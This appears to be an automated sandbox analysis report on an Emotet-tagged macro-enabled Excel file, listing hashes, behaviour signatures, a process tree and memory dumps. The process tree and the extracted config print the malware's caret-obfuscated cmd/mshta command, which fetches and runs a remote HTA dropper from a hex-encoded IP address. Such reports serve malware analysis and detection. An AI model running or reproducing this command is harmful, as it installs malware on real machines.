Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 06:43

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General

  • Target

    fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794.xlsm

  • Size

    115KB

  • MD5

    e5a6dd30e775e511da392ab94af294c7

  • SHA1

    ec759009965c6c073a1d463715dd231caade076a

  • SHA256

    fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794

  • SHA512

    5fb81b638f4b1333b5c990e44f5ce746e66687dccd2d0fb9778128c95822d88c4d1a1627c1f593f7e6a043eed256112c8882df579d6741eec343b718e5021afe

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:836
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3260

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/2324-115-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-116-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-117-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-118-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-121-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-128-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2324-129-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

      Filesize

      64KB

      Download